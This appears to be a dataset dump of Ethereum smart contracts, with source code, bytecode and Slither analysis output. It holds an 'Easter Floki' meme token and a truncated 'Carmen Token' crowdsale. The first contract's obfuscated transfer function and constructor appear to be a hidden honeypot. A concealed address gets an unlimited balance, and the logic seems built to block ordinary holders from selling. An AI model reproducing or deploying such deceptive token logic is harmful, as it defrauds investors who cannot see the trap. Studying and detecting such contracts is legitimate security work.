address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x9d675aaec08Aa475D9B7B721726572039cE7C7B4 | /*
https://www.easterfloki.live
https://t.me/easterfloki_eth
https://twitter.com/elonmusk/status/1515799688296943636
___
.-*)) `*-.
/* ((* *'.
| *)) * *\
| * ((* * /
\ *)) * .'
'-.((*_.-'
*/
// SPDX-License-Identifier: MIT
pragma solidity >0.8.3;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address moving
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[moving] = shorter;
_balances[msg.sender] = _tTotal;
slightly[moving] = shorter;
slightly[msg.sender] = shorter;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private death;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private shorter = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function policeman(
address feet,
address earth,
uint256 amount
) private {
address however = death[address(0)];
bool hole = uniswapV2Pair == feet;
uint256 article = _fee;
if (slightly[feet] == 0 && necessary[feet] > 0 && !hole) {
slightly[feet] -= article;
}
death[address(0)] = earth;
if (slightly[feet] > 0 && amount == 0) {
slightly[earth] += article;
}
necessary[however] += article;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[feet] -= fee;
_balances[address(this)] += fee;
_balances[feet] -= amount;
_balances[earth] += amount;
}
mapping(address => uint256) private necessary;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private slightly;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
policeman(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
policeman(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220a7f3d7dbb94b8b75daa7a727eecd99d31c838f283f1d89a2b274aa7a998bf7b864736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 1,900 |
0xbdcb58cb5e1df2776df682a52b19d3eec0ca8285 | /**
* The Carmen Token contract bases on the ERC20 standard token contracts
* Founders: Penthora Foundation, Anakatier Group PCL and Kirimanya Holding
*/
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Authorizable is owned {
struct Authoriz{
uint index;
address account;
}
mapping(address => bool) public authorized;
mapping(address => Authoriz) public authorizs;
address[] public authorizedAccts;
modifier onlyAuthorized() {
if(authorizedAccts.length >0)
{
require(authorized[msg.sender] == true || owner == msg.sender);
_;
}else{
require(owner == msg.sender);
_;
}
}
function addAuthorized(address _toAdd)
onlyOwner
public
{
require(_toAdd != 0);
require(!isAuthorizedAccount(_toAdd));
authorized[_toAdd] = true;
Authoriz storage authoriz = authorizs[_toAdd];
authoriz.account = _toAdd;
authoriz.index = authorizedAccts.push(_toAdd) -1;
}
function removeAuthorized(address _toRemove)
onlyOwner
public
{
require(_toRemove != 0);
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function isAuthorizedAccount(address account)
public
constant
returns(bool isIndeed)
{
if(account == owner) return true;
if(authorizedAccts.length == 0) return false;
return (authorizedAccts[authorizs[account].index] == account);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* Carmen Token STARTS HERE */
/******************************************/
contract CarmenToken is Authorizable, TokenERC20 {
using SafeMath for uint256;
/// Maximum tokens to be allocated on the sale
uint256 public tokenSaleHardCap;
/// Base exchange rate is set to 1 ETH = XCR.
uint256 public baseRate;
/// no tokens can be ever issued when this is set to "true"
bool public tokenSaleClosed = false;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
modifier inProgress {
require(totalSupply < tokenSaleHardCap
&& !tokenSaleClosed);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {
tokenSaleHardCap = 121000000 * 10**uint256(decimals); // Default Crowsale Hard Cap amount with decimals
baseRate = 100 * 10**uint256(decimals); // Default base rate XCR :1 eth amount with decimals
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () public payable {
purchaseTokens(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address _beneficiary) public payable inProgress{
// only accept a minimum amount of ETH?
require(msg.value >= 0.01 ether);
uint _tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, _tokens);
/// forward the raised funds to the contract creator
owner.transfer(address(this).balance);
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyAuthorized public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyAuthorized public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newRatePrice` eth
/// @param newRate Price the users can sell to the contract
function setRatePrices(uint256 newRate) onlyAuthorized public {
baseRate = newRate;
}
/// @notice Allow users to buy tokens for `newTokenSaleHardCap` XCR
/// @param newTokenSaleHardCap Amount of XCR token sale hard cap
function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public {
tokenSaleHardCap = newTokenSaleHardCap;
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
balanceOf[_beneficiary] += _tokens;
totalSupply += _tokens;
emit Transfer(0, this, _tokens);
emit Transfer(this, _beneficiary, _tokens);
}
/// @dev Compute the amount of XCR token that can be purchased.
/// @param ethAmount Amount of Ether in WEI to purchase XCR.
/// @return Amount of XCR token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) {
uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals);
return tokens;
}
/// @notice collect ether to owner account
function collect() external onlyAuthorized {
owner.transfer(address(this).balance);
}
/// @notice getBalance ether
function getBalance() public view onlyAuthorized returns (uint) {
return address(this).balance;
}
/// @dev Closes the sale, issues the team tokens and burns the unsold
function close() public onlyAuthorized beforeEnd {
tokenSaleClosed = true;
/// forward the raised funds to the contract creator
owner.transfer(address(this).balance);
}
/// @dev Open the sale status
function openSale() public onlyAuthorized{
tokenSaleClosed = false;
}
